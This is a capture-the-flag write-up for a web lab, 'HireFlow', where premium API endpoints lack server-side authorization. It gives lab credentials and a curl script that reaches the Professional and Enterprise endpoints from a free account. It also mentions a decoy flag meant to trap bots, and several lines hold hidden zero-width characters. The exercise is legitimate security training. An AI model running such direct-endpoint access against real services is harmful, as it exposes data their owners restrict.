Lab 291 — HireFlow — Broken Authorization in Premium Feature Endpoints

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: api_endpoint_enumeration, decoy_flag_recognition, direct_api_access, subscription_tier_bypass

Summary

Walkthrough of the CUSTOM Web Lab 291 — HireFlow — Broken Authorization in Premium Feature Endpoints. Task: Recruitment platform with Free/Professional/Enterprise tiers, premium features locked in UI. Solution: Discovered API endpoints in settings page, directly called premium endpoints bypassing clie

Description

HireFlow is a recruitment and applicant tracking platform used by companies to manage job postings, candidate pipelines, and hiring analytics. The platform offers Free, Professional, and Enterprise subscription tiers with different feature sets.

As a security researcher, you have been given a free-tier account to test the application. Your objective is to find and retrieve a confidential flag hidden somewhere in the system.

Credentials: alex@hireflow.io / candidate2025! Hint: The application has different subscription tiers (Free, Professional, Enterprise) with different feature access. Look at what features are available to higher-tier users that you cannot access from the UI. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A recruitment platform with tiered subscriptions. Free-tier users cannot access premium features through the UI, but the backend fails to enforce authorization on API endpoints.

Analysis

1. Initial Reconnaissance:

   • Logged in with provided credentials (alex@hireflow.io / candidate2025!)
   • Explored the dashboard and noticed premium features locked in the sidebar:
     • Analytics (requires Professional tier)
     • Reports Export (requires Enterprise tier)
   • The HTML contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} as a honeypot for automated scanners ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. API Endpoint Discovery:

   • Navigated to /settings page which revealed the API documentation:

   GET  /api/jobs/:id/analytics    [Professional+]
   POST /api/jobs/:id/rerun        [Professional+]
   POST /api/jobs/:id/reproduce    [Professional+]
   GET  /api/admin/reports/export  [Enterprise]
   

3. Vulnerability Identification:

   • The application implements access control only on the client-side (UI hiding premium features)
   • Server-side API endpoints do NOT verify subscription tier before returning data
   • This is a classic OWASP A01:2021 - Broken Access Control vulnerability ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

The exploit is straightforward - directly call the premium API endpoints that should be restricted:

 bash read-only • copy allowed Copy
#!/bin/bash
# Exploit for HireFlow Broken Authorization

BASE="https://3fff6613-2312-4ee5-ad33-343c8aaf2689.labs.hackadvisor.io"

# Login and save session cookies
curl -s -c cookies.txt -X POST "$BASE/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"alex@hireflow.io","password":"candidate2025!"}'

# Access Professional+ endpoint (should be restricted)
echo "[*] Accessing Professional tier endpoint..."
curl -s -b cookies.txt "$BASE/api/jobs/1/analytics"
# Response: Full analytics data returned!
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Access Enterprise endpoint (should be restricted)
echo "[*] Accessing Enterprise tier endpoint..."
curl -s -b cookies.txt "$BASE/api/admin/reports/export"
# Response: Confidential reports including the flag

The flag was found in the Enterprise reports export, specifically in the "Executive Placement Metrics - CONFIDENTIAL" report:

 json read-only • copy allowed Copy
{
  "report_type": "confidential_placement",
  "title": "Executive Placement Metrics - CONFIDENTIAL",
  "data": {
    "confidential_access_token": "FLAG{REDACTED}"
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering api_endpoint_enumeration, decoy_flag_recognition, direct_api_access, subscription_tier_bypass was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-04-27 • CUSTOM • Lab 291 — HireFlow — Broken Authorization in Premium Feature Endpoints • Difficulty: Easy